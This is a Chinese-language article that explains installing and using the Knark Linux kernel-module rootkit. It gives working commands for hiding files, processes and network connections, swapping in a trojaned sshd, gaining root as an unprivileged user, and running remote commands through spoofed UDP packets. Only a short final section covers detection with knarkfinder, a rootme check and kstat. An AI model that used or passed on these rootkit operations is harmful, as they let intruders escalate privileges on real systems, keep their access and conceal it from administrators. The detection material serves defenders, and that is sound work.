Knark软件包的安装和使用
该软件包的核心软件是knark,c,它是一个Linux LKM(loadable kernel-module)。运行命令"make"来编译knark软件包,通过"insmod knark"命令来加载该模块。当knark被加载,隐藏目录/proc/knark被创建,该目录下将包含以下文件:
- author 作者自我介绍
- files 系统中隐藏文件列表
- nethides 在/proc/net/[tcp|udp]隐藏的字符串
- pids 被隐藏的pids列表,格式类似于ps命令输出
- redirects 被重定向的可执行程序入口列表
该软件包编译以后将有下面这些工具软件(它们都依赖于被加载的模块knark.o。除了taskhack.c,其用于直接修改/dev/kmem)
hidef | 用于在系统中隐藏文件。
在/usr/lib目录下创建子目录hax0r,然后运行命令"./hidef /usr/lib/.hax0r",则该目录会被隐藏,"ls"或"du"等命令都不能显示该目录及其子目录。
---|---
unhidef | 用来恢复被隐藏的文件,你可以通过访问"cat /proc/knark/files"来察看你隐藏了哪些文件。通过"./unhidef /usr/lib/.hax0r"命令来解除对隐藏文件的隐藏。但是这里有个小小的bug,使得被隐藏的目录在/proc/knark/files中显示的是其加载开始的路径,也就是说如果系统有一个文件系统加载在/mnt,你隐藏了/mnt/secret,则在/proc/knark/files中显示的被隐藏的目录为/secret。因此不会影响根文件被隐藏的目录。
ered | 用来配置重定向程序的执行。
拷贝特洛伊木马版本的sshd为/usr/lib/.hax0r/sshd_trojan,然后运行"./ered /usr/local/sbin/sshd /usr/lib/.hax0r/sshd_trojan",这样当/usr/local/sbin/sshd被运行时,实际上运行的特洛伊木马版本的sshd。可以通过命令./ered -c来清楚所有的可执行程序重定向。
nethide | 用来隐藏/proc/net/tcp和/proc/net/udp中的某些字符串。netstat命令就不会得到指定的链接信息。通过命令/nethide ":ABCD "可以隐藏和端口号ABCD(十六进制)相关的连接(43981 dec)。也就是对/proc/net/[tcp|udp]读取时进行"grep -v"操作。
你必需理解使用该程序从/proc/net/[tcp|udp]得到的输出的意义。假设系统运行有sshd,那么连接到本地22端口以后,运行"netstat -at",则输出可能包含:
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED
现在我们来检测文件/proc/net/tcp:
cat /proc/net/tcp
则输出可能包含入下内容:
local_address rem_address blablabla...
0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000
若我们希望隐藏和地址127.0.0.1相关的任何信息,我们必须使用如上面所示的十六进制的格式。因此如果希望隐藏地址127.0.0.1的22号端口相关的内容就要使用0100007F:0016来标识该链接。因此
./nethide "0100007F:0016"
将隐藏to/from localhost:22相关的链接信息。
./nethide ":ABCD "
来去除隐藏。
rootme | 用来实现非特权用户获得root访问权限。
./rootme /bin/sh
就可以实现以root身份运行/bin/sh。
./rootme /bin/ls -l /root
则是仅仅以root身份运行单个命令。
taskhack | 用来改变某个运行着的进程的uid和gid。
./taskhack -alluid=0 pid
该命令将进程pid的所有*uid's (uid, euid, suid, fsuid)为0 (root).
ps aux | grep bash
creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash
现在来改变该进程的euid为0:
./taskhack -euid=0 91
ps aux | grep bash
root (!) 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash
rexec | 用来远程执行knark-server的命令:
./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER
这命令将从www.microsoft.com:53发送一个伪装的udp数据包到 haxored.server.nu:53,来运行haxored.server.nu的命令"/bin/touch /LUDER"
入侵者入侵以后往往将knark的各种工具存放在/dev/某个子目录下创建的隐藏子目录,如/dev/.ida/.knard等等。
检测系统是否被安装了Knark
Knark的作者Creed,发布了一个工具:knarkfinder.c来发现Knark隐藏的进程。
检查系统是否安装有Knark的最直接有效的方法是以非特权用户身份来运行Knark的一个软件包如:rootme,看该用户是否能获得root权限。由于目前Knark目前没有认证机制,因此入股系统被安装了Knark任何一个本地用户运行这个程序都能获得root权限。
还有一个最有效的发现系统是否被knark或者类似的rootkit所感染的方法就是使用kstat来检测,具体参考本站的Nexeon写的解决方案文章: 检测LKM rootkit。